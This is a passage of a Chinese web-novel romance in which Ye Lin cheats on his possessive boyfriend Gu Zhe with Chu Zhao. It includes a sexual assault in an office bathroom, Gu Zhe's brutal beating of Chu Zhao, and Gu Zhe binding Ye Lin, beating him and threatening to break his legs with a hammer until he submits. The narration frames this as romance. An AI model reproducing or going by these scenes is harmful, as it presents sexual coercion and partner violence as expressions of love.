顾嘉致的脸恢复如初,穿上厚重的外套,看向旁边的父母:“爸,妈,我在这里都待腻了,现在可以随便玩了吧。” 顾父:“已经帮你办了复学手续,回去好好读书,别再跟你哥哥打架了,亲兄弟好好相处。” 顾嘉致不爱读书,只想回去跟兄弟搓一顿庆祝,假装应和。 顾母:“嘉致啊,你哥哥有急事,没有及时来接你,你不要怪他。等回去之后,我让他来家里吃饭,跟你道歉,你们聊聊。” 顾嘉致才不想顾柘来接自己,嫌弃地翻白眼:“知道了,我估计他不想见到我,也不想吃这顿饭。” 顾父责怪:“你这孩子,会不会好好说话!” 顾嘉致懒得跟他们多说,步伐轻快地往外走,出了医院就跟兄弟打电话。 “嘉致啊,你小子的病终于好了,回来跟哥几个好好玩!” “其实我早就好了,我爸妈非不让我走,烦死!” “那现在跟你说以前的事情,你不会头疼了吧?” “不会,我半个月前就不头疼了。” “我说个事情试试你哈,你记得那次在酒吧看见叶临吗?” “不记得,但叶临也这样说,难不成是真话,我们在酒吧见面过?”顾嘉致没感觉头疼,相反还有了兴趣。 “对啊,我和你说,那天是梁文乐把他领进来,哥几个看他长得好看,就故意逗他玩,你也掺和来着。 唉,说来也是唏嘘,你不知道,文乐被叶临害得多惨!订婚宴过后,我们都想去教训叶临,帮文乐出出气。但文乐不让,非要哭哭啼啼地跑去找他复合,真是疯了!” 顾嘉致的脑海里闪过很多画面,其中就有叶临吃冰淇淋,酒醉后脸红眼湿地看向他,以及他抱着醉倒的叶临往外走。 叶临醉酒后,说话软乎乎的,内容不好,但听起来很可爱。 “哎呀,你怎么跟这些喜欢男人的神经病做朋友?” “喜欢男人就是神经病啊?” “当然了,就你和我正常。你今天帮我,我以后发达了,肯定不会忘记你。” “今天晚上就报答我。” 顾嘉致停下脚步,恍惚间听到了冰面裂的声音,心跳猛然加速,咚咚咚地直响。这瞬间,跟长达死水般的平静不同,水流汹涌澎湃,他终于感觉到自己是活生生的人。 朋友还在电话那头吐槽叶临:“有一说一,叶临手段确实高超,他把你顾柘搞到手了,还让顾柘给梵星打白工。 你敢信吗!?前段时间,还有人看见你哥跟叶临在街头牵手接吻,恩爱劲都快超过梁文乐那会儿了。我看你回来后,要叫叶临嫂子喽。” 顾嘉致愣住,下意识地骂:“疯了!” 此时此刻,他也不明白自己到底是在骂顾柘,还是骂叶临,但心情莫名郁闷,很想要发泄。 第63章 第63章被顾柘发现了 楚诏还是留下来,穿着顾柘的家居服在房间里活动,帮叶临端茶倒水,陪叶临在电竞室里打游戏。 当叶临不再伪装后,他发现叶临不只会玩辅助,还会玩各种战斗职业,技术还可以。 两个人一起打怪,默契度差了一点,但是胜在技术厉害,也能轻松通关。 饭后还会看各种电影,叶临喜欢搞笑片,而他喜欢探究人类起源,宇宙起源这类的纪录片。 但只要抱着叶临,看什么类型的电影都能接受。 这段时间就跟楚诏最开始幻想的同居生活一模一样,平淡却幸福。 假如可以一直这样持续下去,那就好了。 可惜才过了四天,楚诏就被叶临从睡梦中吵醒。 叶临踹了他几脚,拿着手机神情焦急:“你快点收拾离开,我估计这两天顾柘就要回来了。” 楚诏知道顾柘的行程,眯起眼睛说道:“他不是后天才回来,急什么。” 叶临把聊天记录递给他看,顾柘分享自己处理工作的经历: 过程出乎意料的顺利,可以提前两三天回来,询问叶临想要什么礼物,他会带过来。 楚诏往上滑动屏幕,发现大部分聊天内容都是叶临在无理取闹,而顾柘宠溺,俨然是对恩爱的小情侣。 越看越心酸,原来这才是叶临恋爱时的真面目,会撒娇,会骂人,更会不讲理。 楚诏隐约又尝到了酸味,沉默不语。 叶临发现他还没有动静,气愤地推他的肩膀骂道:“你快点啊,被顾柘发现,我们两个都完了。” 楚诏放下手机,还没从嫉妒心酸的情绪中缓过来,动作缓慢。 叶临快急死了,大声骂道:“我靠,你到底有没有当小三的觉悟啊! 合格的小三在听到原配要回来,早就麻溜地收拾滚蛋了,你在这里磨磨唧唧的,是想死吗?” 楚诏微微瞪大眼睛,重复他的话:“小三?” 叶临翻了白眼,头一回遇到这种难以教导的蠢货,耐心都快耗没了:“不然呢,你还以为我们在谈恋爱吗?我真服了,快点,你记得删除门锁的记录,免得被发现。” 这一刻,楚诏感觉自己像是被用完就丢掉的杯子,毫无尊严。他心里有怨气的,但没有任何正当的理由可以反驳,只能继续收拾。 穿过的衣服没有损坏,完好如初,倒是可以叠放在柜子的底部,不容易被发现。 这期间门锁上有关于楚诏的记录全部都被删掉,房间里所有的垃圾也单独收集出来,由楚诏倒掉。 叶临支开保镖后,楚诏换上最开始的衣服,提着垃圾灰溜溜地离开,像个清洁工。 离开的时候还不能走小区正门,要走隐秘的小道,翻墙避开摄像头和保安,像是做贼。 楚诏从小就是个正直的好人,小时候还会扶老奶奶过马路,捡到钱包也会物归原主。 他怎么都想不到,自己会有做贼偷人的这一天。 如果是十几岁的自己看到现在的模样,应该会气愤地骂败类,再扇好几巴掌吧。 楚诏上车前悔恨交加,没几分钟后想到叶临的脸又留恋,鬼使神差地让司机开车去沈邵的医院。 他想见见这个传说中的情敌,到底是用什么俘获了叶临的真心。 午后,阳光照在墙角的植物上,冬天萎靡的兰花和玛格丽特重新焕发生机,长出嫩绿的新叶。 冬去春来,可叶临还是没来。 沈邵的心依然停留在冬天,死气沉沉。 直到看到有人进来,眼睛里才焕发出一丝光彩。 结果不是叶临,而是陌生青年。 楚诏进来,发现沈邵的皮肤很白,穿着病服躺在床上,应该是生了重病。 他知道沈邵是情敌,但还是无法对病人恶言相向,开口的语气就变得柔和:“听说你跟叶临以前很好。” 沈邵马上明白来者的用意,嗤笑一声:“叶临被顾柘困住,又找你是吗?” 楚诏从他的目光中捕捉到嘲讽的意味,忍不住回怼:“你笑什么,你破坏了别人的婚礼,怎么好意思?” 沈邵笑得更厉害,眼神不屑,他从来不会惧怕挑衅者:“你笑我做小三,那你可比不上我。 你知道吗?婚礼那天梁文乐打我,叶临挡在我面前,陪着我去医院,精心照顾我。如果是你被打的话,你觉得他会袒护你吗?” 楚诏想到自己和顾柘,以及早上被叶临急匆匆扫地出门的情景,顿时说不出话。 沈邵从他的身上察觉到了不自信,故意引导:“我知道,你想跟叶临在一起。顾柘心眼小,容不下你,但我能容得下你。 只要你按照我说的做,保证能击败顾柘,届时我不会介意叶临去找你。” 他看到楚诏,就知道这个愚笨可怜的家伙在叶临心里没有多少地位,可以任意拿捏,当成帮他做事的小卒。 楚诏无法忍受这种羞辱,气愤地放骂:“少摆出这种正宫的气势,你以为你是叶临的合法丈夫吗!” 骂完,他就往外走。 沈邵笑起来,还故意补充:“我相信你会来找我的。” 一天后。 天空是少见的蓝,道路两边的行道木已经长出绿芽,行人换上了稍微轻薄的春装。 叶临把家里里里外外地检查一遍,坐在阳台盯着小区大门口,就是想等顾柘。 大概过了两三个小时,顾柘的车才开进来。 叶临回到沙发上,拿出游戏机,假装打游戏,静静地等待顾柘的到来。 好一会儿,门才被打开。 顾柘换了拖鞋,拎着礼物盒走到沙发边,轻声唤他的名字:“怎么躺在这里?” 叶临手里还在操作,抬眼去看他:“我觉得这里舒服就躺在这里玩游戏,才不是等你。” 顾柘误以为看透他的心思,嘴角微勾,单膝跪下来,把礼物盒打开给他看。 黑色丝绒躺着一对简约时尚的男士情侣戒指,以及两块镶嵌宝石和钻石的腕表。 “喜欢吗?” “这个” 叶临看到钱就激动,立即坐起来,欣赏表面的细节,感受细腻纹理。 他从前收到过更多昂贵的戒指,压根看不上这种穷酸的戒指,但是能够认出来,表是价值千万的。 表还有点意思,可以接受。 叶临满意地点头:“喜欢,你特意买给我的吗?” 顾柘亲手把戒指给他戴上去,低头亲吻手背,柔声道:“这是婚戒的款式,以后出门记得说自己是已婚,知道吗?” 是想跟他结婚的意思吗,不是吧? 叶临有点慌张,在他的认知里,顾家的环境不允许儿子跟男人结婚,顾柘应该做不出这种荒唐事吧。 他嘟囔着试探:“说什么已婚啊,我们又没结婚。” 顾柘起身去吻他:“你是怪我还不跟你求婚吗?” 叶临的心脏狂跳,吓得后背冒冷汗,偏过头劝道:“算了吧,我对结婚有阴影,而且你家里人也不会同意你搞同性恋的,别结了。” 顾柘想到他和梁文乐的那些破事,咬牙道:“放心,如果是我们的婚礼,我不会让任何人破坏。 至于我爸妈那边,我会想办法劝说,让他们能够接受我们的婚姻。” 叶临真怕了:“算了吧,正常父母都不会接受我们的结婚,你还是别去逼你爸妈了。 而且你爸妈何止介意我是男的,他们还会介意我以前的那些事。” 顾柘将叶临抱进怀里,埋怨道:“你不想我们结婚吗,怎么老是找借口。” 叶临心虚:“我,我就是觉得太快了不好,结婚这件事还是再商量吧。再说了,我都没有完全喜欢你,怎么能逼我呢!” 顾柘当然知道叶临不会愿意跟自己的结婚,本来想慢慢地培养感情再结婚。 但他听说顾嘉致身体康复了,就火急火燎地赶回来,想跟叶临结婚,让一切尘埃落定。 无论叶临想不想结,无论外人如何看待他们,这个婚都得结。 顾柘下意识地用力抱紧,撒谎道:“好吧,听你的,慢慢来。” 叶临总算松了一口气。 “我离开的这几天,饥饿值应该涨很高了吧。” “才没有,几天而已,都没过20%。” “那我也帮你消除了。” 叶临推开他,站起来朝着电竞室走去,借口白天不肯跟顾柘做那种事情。 结果晚上他还是难逃一劫,好在光线昏暗,楚诏也小心,并没有被发现。 顾柘的手法越发地熟练,占有欲很强,总是以一种禁锢的姿态对待叶临,怕他逃了。 接下来几天里,他都待在家里,陪着叶临。 楚诏没有机会接近叶临,只能在线上发消息。 【顾柘*还在吗?】 【对啊,这几天就知道呆在家里,烦死了!】 【你就不能借口出来兜风吗?】 楚诏食髓知味,很想再见叶临,哪怕不是做那种事情,只是抱着亲亲都会开心很久。 长达三天没见到叶临,就会空虚落寞,五天过去就感觉自己像是缺水的鱼,快要干涸而亡。 【我怎么敢啊,顾柘疑心病可重了。】 【跟踪器我都帮你改装了,你还不敢?】 【哇,楚诏你什么语气啊,命令我出去跟你见面吗?】 【我不是这个意思,我只是觉得你长期被困在小空间里,心情容易郁结,所以想劝你出来逛逛。】 【少装,你就是想跟我见面,那更危险了,我不可能出去。能不能聪明点,又不是我正牌男友,怎么好意思催!】 叶临发完消息就切号,没有再回复楚诏,烦躁地骂了两句“有病”。 坐在旁边处理工作的顾柘听到,扭头去看他:“怎么又在游戏里骂人?” 叶临瞪他,再骂回去:“要你管啊,烦死了。” 顾柘现在得去公司,又不想离开叶临,只好站起来建议:“要去梵星看看吗,我今天可以带你过去。” 叶临怕公司被顾柘悄悄私吞了,还是要去检查:“确实该去看了,免得你做什么不干净的手脚。” 顾柘无奈地摇头,他都打白工,全程倒贴,怎么可能私吞。 梵星的业务越来越大,把隔壁的几个房间买下来办公,办公区域扩大,还新增了很多员工。 年中应该就能搬去更好的写字楼,实现更高的盈利。 刘闻好久没有看到叶临,发现他和顾柘站在一起的时候都怀疑自己的眼睛,使劲揉了揉,才凑过去打招呼。 很多员工都在看这两个帅气的老板,小声议论。 刘闻分享了研发部最近的进度,有了楚诏后,防御系统得到升级,服务器的臃肿问题得到解决。 网页的速度更快,可以支撑起更大的浏览量。 刘闻是楚诏的小迷弟,列举了几十条出楚诏解决难题的例子,恨不得跪倒膜拜大神。 他哪里会知道曾经因为叶临被楚诏视为敌人,遭受了一段时间的白眼。 有个女同事注意到叶临手上的婚戒和顾柘一样,忍不住跟周围的同事讨论,很快就传到研发部。 上班忙着写代码的楚诏听到有人提起叶临,立即离开工位,朝着人声的中心跑去。 隔着数目繁多的电脑桌子和背影,可以看见叶临站在顾柘旁边,两个人经常有眼神交流,还对着彼此微笑。 踩上一个台阶时,顾柘还怕叶临摔倒,弯腰绅士地扶着他。 在外人眼里,他们是如胶似漆的情侣,周围的空气都散发着恋爱的甜味。 楚诏很想上去跟叶临打招呼,但他只能躲在人群背后,偷偷地看着,像个躲在臭水沟里的老鼠,透过细密的滤水网,仰头看着阳光下交缠飞舞的一对蝴蝶。 他注意到叶临的手指上有枚婚戒,跟顾柘的是同款,两个人的手还牵在一起,心如刀绞。 “叶总又要结婚了吗,他之前不是还和梁家那位订婚过,还跟沈总有牵连。” “感觉好混乱,我的天!” “进这个公司就是为了吃他们的瓜,太精彩了!” “感觉叶总真喜欢顾总,以前他都不会用这种眼神看沈总和梁家小少爷,或许他们真的结婚了吧。” 耳边传来同事们的讨论声,像是上万根针扎进身体里,疼得近乎昏厥,却流不出一滴血。 楚诏盯着叶临的身影,看到他进入厕所就悄悄地跟进去。 厕所里没有人,自动冲水器还在运作,响起哗啦的水声,空气中弥漫着清洁剂的味道,镜子里照出叶临的脸。 他注意到身后有人靠近,扭过头去看。 楚诏难以冷静,抱住他:“你要跟顾柘结婚?” 叶临连忙推开他,无压低声音提醒:“我去!这里可是公司,你小心点好不好。” 又是这样,叶临有困难就找他,从不在意他的心情。 就像是对待一个工具,不断地重复,“有觉悟”,“懂事”这些伤人的词汇。 楚诏的鼻子泛起酸意,大声质问:“如果你要跟顾柘结婚,何必来找我!” 叶临快被这个蠢货吓死,连忙跑过去捂住他的嘴唇,骂道:“小声点,这种事情很光彩吗?我们之间什么关系啊,我们根本没有爱情,说这些有意思?” 楚诏已经偏离轨道,曾经想做个知恩图报的好人,钟情专一的好男友;现在却背叛恩人,掺和进这种见不得的关系里。 最初还会有愧疚感,可是失落的情绪远远压过所谓的道德。 他不想看到叶临跟顾柘结婚,不想一辈子躲在暗处。 错都错了,干脆错到底。 叶临的手被强行掰开,腰靠着洗手台的边缘,难以动弹。 楚诏低头去吻他,像是暴烈的太阳,不顾植物的生长情况,偏要把阳光送到每一处。 叶临只能发出唔唔嗯嗯的声音,盯着厕所的门口,心跳跳得飞快。 会被发现的,这个节点被顾柘发现,完蛋了! 叶临着急地踩楚诏的脚,继续挣扎。 结果就被抱起来放在洗手台上,双手都被领带绑住。 楚诏抬手用力碾压被亲红的嘴唇:“你知道吗,我这几天一直想你,盼着你能来看我,跟我说说话。 可是你从来不会愿意为我冒险,就知道找借口躲家里。” 叶临怕被发现,只能小声骂:“你这个蠢货,快放开我!顾柘疑心病重,再这样下去,会被发现的!” 楚诏自暴自弃地亲他,不只是嘴唇,还要思念已久的地方。 “发现就发现,我巴不得他发现。才不要做见不得光的第三者,我要跟你堂堂正正地谈恋爱,接受别人的祝福。” 叶临像是被灼烧,呼出了热气。 他从没遇到过像楚诏这种傻子,网恋的时候好骗,被威胁的时候也好骗,没有当三的觉悟,现在还想正面刚顾柘,发疯了吧! “楚诏,你冷静点。我不会跟顾柘那个混蛋结婚,你先解开我,什么事都好商量。” “那你跟我谈恋爱,跟我结婚。” “不是,你脑子正常点。我骗过你,彼此玩玩就算了,没必认真啊!” “我就是认真的,不管是对甜甜圈,还是对叶临!”楚诏轻咬了一下:“你明明知道,你是我的初恋,我怎么可能随便放下。” “啊,我服了!”叶临受不了这种纯情小处男,直接放狠话:“我后悔了,我后悔遇见你,后悔跟你网恋! 如果知道你是这种脑干缺失的蠢猪,我肯定不会勾搭你,还不如选别的男人!” “你说什么!?”楚诏第一次心动,第一次真心付出却换来叶临的后悔,恶毒辱骂,心态彻底就崩了。 “你看吧,我本来就是个无情无义的坏人,别喜欢我了。我们之间的关系断了,以后别见面!” 叶临的语气嫌弃,像是要甩掉什么累赘,并不会体恤对方的心情,只想快点结束这种混乱的场面。 楚诏想到沈邵嘲讽的语气,发觉自己在叶临这里是个纯粹的工具人,根本没有任何感情。 怪不得沈邵那么高傲得意,那么自信。 沈邵肯定得到过叶临的偏爱,面对他的挑衅才会不屑。 从头到尾,都只是工具? 世界上怎么会有叶临这种把爱情当成玩笑的混蛋,一而再,再而三地作践他! 楚诏抬手想去打,却是轻轻地放在腰后。 他舍不得,只能换个方式折磨。 “啊,你!” 叶临感觉到痒意,紧接着就是快速升高的温度。 吓得想往后退,又被抓回去。 “艹你大爷的!楚诏,你别!” 楚诏没管他的挣扎,长期的克制压抑就像是不断悬高的河流,决堤时要淹没一切才会停止。 布料已经皱了,衣垂落到手肘的位置。 哪里都是火,烧得厉害。 叶临怕被其他员工发现,只能试图装可怜:“楚诏,我求求你了,至少别在这里,换个隐蔽的地方。” 楚诏听到他的话,冷笑一声:“现在知道求饶了,你总是这样,害怕了才会说好话。” 叶临也不怕被楚诏强迫,还是换个地方要紧,干脆主动地仰头去亲:“换,换个地方,就算是厕所隔间也行,好歹有门。” 楚诏正在犹豫,突然听到极速的脚步声,是皮鞋踩地。 叶临清楚地看到,西装革履的顾柘黑着脸冲过来,像是飓风,用力把楚诏拽开。 没有时间多余去收拾楚诏,他更在意叶临的情况。 顾柘先脱下西装外套包住叶临,掩盖住肩膀的痕迹,才看向楚诏。 楚诏被这股强大的力气逼得往旁边撞去,踉跄几步才停住,抬眼去看顾柘,忍不住笑起来。 顾柘抱紧叶临,试图安抚他的情绪:“如果我知道你今天会对我的爱人做出这种事,我当初绝对不会救你!” 叶临彻底慌了。比起单独面对蠢货楚诏,顾柘掺和进来才最麻烦。 只要顾柘厌弃叶临,他们就不会结婚,自己就有机会了。 楚诏看出叶临的恐惧,嘲讽道:“爱人,顾柘你真可笑?你以为叶临喜欢你吗,他只是把你当成猴耍!” 叶临急了,出声阻止:“楚诏,闭嘴!” 顾柘最好彻底对叶临失望,这样叶临只能选择他。 楚诏被反复伤害,已经遍体鳞伤,此刻也要把顾柘拽下来淹死。 “顾柘,你出差的那几天,叶临把我叫过去陪他。他可会撒娇了,我念给你听吧。” 叶临抓紧顾柘的手臂,故作可怜地辩解:“你别听他胡说八道,他就是想报复我,刚刚还想强迫我,我都快被吓哭了!” 楚诏:“强迫?对了,他还夸我比你温柔体贴,更愿意跟我做” 还没等他说完,拳头就已经挥过来。 第64章 第64章犯错就要被惩罚 一颗牙齿随之掉落,血液飞溅。 顾柘拳拳到肉,没有给对方反应的机会,每一下都是往死里打。 他听到楚诏的话,就想到离开的那天,叶临破天荒地定闹钟起来,要送他离开。 当时,叶临嘴里嫌弃,还说希望他“一路顺风,万事如意”。 他以为叶临的性格别扭,就喜欢把情话掺杂在恶语里,所以满心欢喜,情绪兴奋地出发了。 可是现在看来,叶临那天是故意定闹钟,先把他哄走,才好跟楚诏私会。 所以,到底什么是真的? 为什么,为什么每次他快要看到希望,就要被迫坠落,摔得粉身碎骨。 伤口愈合后重新站立,也不愿意离开,还要继续相信叶临,相信自己可以得到爱,得到幸福。 真可笑啊,下贱又愚蠢 顾柘感觉拳头都要麻了,本来应该借助暴力散掉怒气,可是越打越像是在泥沼里前行,恶臭的泥水快要把他淹没,封住口鼻,无法呼吸。 楚诏被打得连退两三步,鼻青脸肿,张嘴全是血沫,看不见白牙。 他的视线模糊,脸上全都是血,走路不稳,像个废弃器械,马上就要被液压机碾压成碎片。 二十年里的人生里,他一直是个老实本分的人。从来不会遭遇强烈的恶意和激烈的殴打,更不会感到心脏和身体同时碎掉的痛苦。 如果不是叶临,他怎么可能会做出蠢事,犯下大错。 应该怨恨的,可是又希望能和叶临在一起,矛盾的混乱心理。 面对攻击,本能会驱使他去防御,去反抗。 可是他没有还手的理由,只能不断地退让。 他擦掉嘴角的血:“顾柘,我对不起你,所以不会还手。但希望你清楚,叶临根本不喜欢你,他背着你勾搭了很多人,还嘲笑你愚蠢!” 叶临恨不得顾柘扇烂楚诏的嘴:“闭嘴,你这个强。奸。犯,怎么好意思在这里污蔑我!顾柘你别听他说话,我们走吧!” 楚诏抖着肩膀笑起来,看向叶临那副虚伪的嘴脸:“我强迫你,不是自己主动扑过来的。你还说,只要假装帮顾柘洗衣服,他就会被你这种廉价的举动感动哭,是个特别好哄的蠢货。” 叶临早知道今日会遭遇背刺,前段时间就不应该联系楚诏这个贱人。 要是沈邵,怎么可能做出这种蠢事!他握紧拳头,都想冲上去打楚诏一顿。 “顾柘,你别听他瞎说,我没有说过这种伤人的话。我一直都很喜欢你的,是楚诏非要凑上来,缠着我!” “他刚刚还想逼我跟他结婚,神经病!” 顾柘没有搭理,冷着脸继续挥拳攻击。 先是脸颊,紧接着是腹部,最后再抓住楚诏的头发,用力朝着墙壁撞去。 头撞到墙壁的瞬间,整个建筑似乎都被撼动,发出可怕的声响。 恍惚间,听到了骨头碎裂,看到血肉分离的恐怖画面。 楚诏彻底发不出声,鲜红色的血液顺着白色瓷砖壁流下来,源源不断,像是被放血的牲畜,人冷眼旁观。 顾柘语气冷淡,是死神宣布死亡日期:“你不该碰叶临的。” 叶临看到这一幕,好比亲临死刑犯砍头的现场,吓得跳下洗手台,急匆匆跑过去劝。 “顾柘,你别打了,会人命的!” “真的,我看电视上说,头部受到撞击,很有可能脑出血休克而死。” 顾柘没有松开手,抬眼看向叶临:“你在为他说话!?” 叶临感受到他的目光,犹如黑夜里在小巷子里见到连环杀手,吓得汗毛直立,只好用缓和的语气安抚他的情绪:“其实,其实楚诏没有对我做什么事情,你没必要冲他发火,冷静点!” 楚诏没有失去意识,只是感觉到头很疼,还能听见叶临的声音。他没想到叶临会为自己说话,顿时感到诧异。 顾柘用力提起楚诏的头,像是在对待死物,准备再撞一次:“放心,不会死,植物人而已。” 楚诏的头发被拽起来,疼得倒吸一口冷气。 他惊讶地发现叶临居然冲过来,用力推开顾柘,大声骂:“你这个疯子!” 顾柘也没料到叶临会上前帮忙,愣在原地好几秒都没说出话。 叶临用衣服捂住楚诏的额头止血,迅速打电话呼叫救护车:“楚诏是我签进来的员工,他的脑袋比你值钱多了,真打残疾了,我跟你没完!” 此时,员工们都围到厕所门口往里看,好奇地打量着三个主人公,猜测发生了什么事。 刘闻率先冲进来,看见叶临怀里的楚诏头流了很多血,吓得大叫:“这是怎么了,被人打了?” 楚诏掀起沉重的眼皮看叶临,头晕得厉害,很想问他为什么要帮自己,但是却说不出话。 叶临把楚诏交给刘闻,叮嘱他送医院,接着疏散其余的人群。 顾柘站在叶临背后,全程沉默,没有动作,像是一尊石像。 他不是梁文乐那种被惯坏了的性格,越是失望越是冷静,遇到这种情况也不会当众闹事,让所有人都下不来台。 救护车来了以后,刘闻陪着楚诏去医院。 叶临刚想上去,就被顾柘强行拉住,只好留下来跟他对峙。 出人意料的是,顾柘没大吵大闹,只是拽着他往地下车库走。 叶临就是不肯走,嘴里还骂骂咧咧的,既尝试解释,又劝顾柘学会懂事。 员工们都没心思上班,纷纷聚集到公司门口,想看这两位老总闹出什么大戏。 顾柘心如死灰,冷静得像是尸体,面对叶临铺天盖地的无理要求,只是说:“你再不走,他们今天都不会认真工作。这件事确实是楚诏的错,我不怪你,先回去。” 叶临这才注意到员工们,担心自己的形象,连忙朝着地下车库跑去。 看顾柘的反应,应该是打完楚诏就消气了,不会跟他计较。 回去再说点好话,就能把这件事揭过去。 叶临在心里打算好,坐上副驾驶座就打开手机询问刘闻关于楚诏的情况。 楚诏没有性命之忧,就是断了一只手,需要休养半个月才能好。 至少没有重病在床,难以活动。 休养半个月后还能继续工作,也算最完美的结果。 他刚刚嫌弃楚诏是蠢货,但还是很需要楚诏的能力壮大公司,必须保住这个员工。 叶临偏头去看旁边的顾柘,发现他驾驶平稳,面无表情,看不出是生气还是伤心,应该是心情平静:“对了,你不会辞退楚诏吧?” 顾柘目视前方,似乎专注地开车,没被外界的事物打扰:“看情况。” 叶临总算安心,跟他讲道理:“虽然楚诏有错,但你都把他的手打断了,以后就别为难他,大不了我不去见他就好。” 顾柘没说话。 叶临有些心虚,主动道歉:“好吧,我跟你说对不起,那以后我再也不会去找楚诏,从此我们就断干净了。” 顾柘从叶临的语气中感觉到了嫌弃,嫌弃楚诏不懂伪装,认不清自己的位置,心态糟糕,以后再也没有联系的价值。 从某种方面来说,楚诏就是个可笑的弃子,完全不能跟他相提并论,但为什么心里还是会难受? 顾柘轻声应和一声“好”,就没有再聊。 天色逐渐变暗,是暗淡的阴天,飘着几朵云,像是要下雨。 进入公寓后,还是没有雨飘下来,相反边缘还冒出微弱的金光,像是要放晴。 叶临换上拖鞋,就想去厨房看看有什么吃的,结果被顾柘抱住。 顾柘枕着他的肩膀,眼神疲惫,低声问:“叶临,你总是撒谎。” 叶临意识到这件事还没结束,浑身都僵住。 顾柘搂得很紧,像是要他窒息:“我已经分不清你说的哪句是真话,哪句是假话了。” 叶临想转移话题:“我说以后不会去见楚诏,这句话是真的,可以发毒誓!” 顾柘又问:“刚刚为什么帮楚诏,他欺负你,我是你男朋友,帮你出气不是理所应当?” 叶临烦躁地想推开他:“哎呀,我不拦着你,你就把他打死了。到时候警察把你抓走,我怎么办。” 顾柘怒喝:“撒谎!你根本不担心我会被抓走,你只担心楚诏不能为梵星效力。” 叶临心中的不安越来越强烈,他不应该对顾柘这种阴暗反派掉以轻心。 在梵星不爆发,是因为要脸,顾全大局,但是在公寓里,肯定会发疯。 顾柘偏头亲他的耳垂,动作温柔:“还记得我说过,如果你跑去找别的男人,我会怎么做吗?” 叶临想起来,是会被打断腿,下意识地想跑,却被抱起来。 他只会用巧劲偷袭,哪里是顾柘的对手,轻易就被控制住,无法动弹。 “顾柘,你放我下来,你这样是不对的!” “为什么不对,犯了错就要被惩罚。” “丧心病狂,你这个疯子,我恨死你了!” 顾柘将他用力扔下去,再用绳子固定住手,跟床脚连接。 叶临脸贴着枕头,看不清身后的情形,费劲挣扎,手腕都被磨红,快要破皮,嘴里还在骂脏话。 顾柘抬手扇了某处一巴掌:“你怎么好意思恨我!楚诏说的对,我就是被你当成猴耍,三番两次地可怜你,相信你。 我总以为你会改,会变好,会真正爱上我,所以耐心地引导。 可你是怎么对我的!你勾搭楚诏一次还不够,后面还叫他来家里! 你们是在这里吗?他穿着我的衣服,用我的东西,坐在你对面吃饭?” 顾柘快被气昏,大脑都涨起来,难以思考。 他的眼前已经浮现出楚诏坐在沙发上抱着叶临看电影的画面,楚诏还在卫生间跟叶临嬉戏打闹,晚上又在他们的床相拥而眠。 再次出声的时候已经在哽咽:“叶临,你怎么能这样恶心我!觉得我喜欢你,被你拿捏的的样子很可笑是吗? 你跟楚诏是怎么嘲笑我的,说我蠢,说我傻,说我期待爱情的样子像个弱。智?然后还要夸楚诏两句,哄着他伺候你?” 叶临感觉到持续不断的痛意,还有强力的麻感,脸颊涨红:“你个脑瘫,你不能这样对我,艹你大爷的,你这个人渣败类,马上去死,去死!” 怎么能这样,他从小到大都没有经历过这种事情! 哪怕是最调皮的小学阶段,都是旁观其他的小孩子趴在爸妈的腿上被打,然后偷偷得意。 当时他就觉得自己比同龄的小朋友厉害,从来不会被打。 结果到了二十出头的年纪补上,就像是变回了小朋友,羞愧愤怒,哪里能忍。 更何况,打他的人还不是权威的长辈,而是比他年纪小的顾柘,简直是奇耻大辱。 叶临的挣扎越来越剧烈,手腕破皮,已经冒出细密的血珠。 顾柘选择无视,继续惩罚。他发现自己确实不能对叶临太心软,不然就会被伤害。 扇了几巴掌后,温度上升,像是烤红的鱼肚皮,柔软美味。 顾柘拿过手机用叶临的指纹解锁,查看他和楚诏的聊天记录,注意到相关字眼,不由得用力。 楚诏说的都是实话,叶临就是在能拿捏他的地方洋洋得意,是个披着兔子皮的臭狐狸。 他以前骂梁文乐愚蠢天真,居然会相信叶临的鬼话。结果到了自己,还不是一样地被骗。 原来陷入爱情里,就会变成反应迟钝,不会思考的傻瓜。 “畜牲!贱人!别,别打了,疼死我了!”叶临出声的时候已经有了哭腔,从最初的愤怒变成了委屈。 可以忍受翻墙摔断腿的疼,可以忍受骑车出车祸的疼,可以忍受跟一群人打架的疼,但就是不能容忍这种疼。 已经不是疼,而是屈辱,还不如直接断他的手来得干脆。 “疼,我看你倒是很喜欢”顾柘凑到叶临的耳垂,骂了个令人耳热的词汇:“你看你,总说是直男,但现在没有男人就会死。” “你个脑残,别打了,你再打,我再也不可能喜欢你!”叶临身体发颤,脸颊染上了艳丽的红,眼睛里有水光,潋滟动人。 “好,那不打,换成别的。” 顾柘随手把手机扔地上,找出一个巨大坚固的铁锤,靠近叶临的脚踝处。 叶临感觉到铁锤的冰冷质感,瞳孔瞪大,吓得脸色发白,连忙求饶:“艹!别,别这样!” 顾柘用铁锤轻轻地敲了小腿,让他提前感受铁锤的威力,故意道:“说好了要断腿的,我得会挥高一点。这样两只脚都没了,以后由我抱着你活动,你就不会去找别人了。” 叶临已经到想到自己被砸掉双脚,鲜血淋漓,只能无助地爬行的画面,衣服都被冷汗打湿,大哭起来:“别打断腿,求求你了。” 顾柘将铁锤高高地举起,盯着他的脚踝看,似乎下一秒就要砸下去。 叶临提前感觉到骨头碎裂,脚趾分家的痛感,哭得肩膀发颤。 此刻,什么尊严都不要了,只要自己的脚。 “顾柘,求求你了,别这样!”叶临的泪水不断地淌过脸颊,眼尾和鼻尖都红了,颤着声音,哭得很可怜:“老,老公,求求你,别打断它。 我的脚很有用的,不仅可以走路,还可以缠,缠你的要是断掉的话,你就,就” 叶临的声音越来越小,但还是能让人听到,是直白下流的语句,最纯粹的勾引和讨好,比什么药都猛烈。 他还怕劝不住顾柘,又继续补充:“你不是要跟我结婚嘛,我们快点去领证,我每天都叫你老公,以后只爱你一个人,再也不去找别人了。” 说完,叶临还要抬起脚去蹭顾柘,轻轻的,柔柔的,像是春天的花朵在招摇,又像飘荡的柳絮。 顾柘被勾得心软,放下锤子去抱住他:“你在别人面前,也这样说话?” 叶临像是没骨头一样,赶紧缩进他的怀里,软着声音撒娇:“没有,只和你这样说话。你知道,梁文乐娇气,只许他撒娇,不许我撒娇。 沈邵和楚诏对我百依百顺,哪里需要撒娇,骂两句就听话了。” 顾柘抬手去按他的嘴:“顾嘉致呢?” 叶临谄媚地去吃:“他是我好哥们,谁会跟好哥们撒娇啊,恶心死了,我只会跟老公撒娇。” 顾柘笑起来,事到如今他已经不在意叶临说的真话还是假话,只要是呆在他身边就好。 叶临心里快恨死顾柘,为了保住腿,还是主动讨好,再跟他道歉:“对不起,我前几天不应该叫楚诏来家里,都是我的错,老公能不能原谅我。” 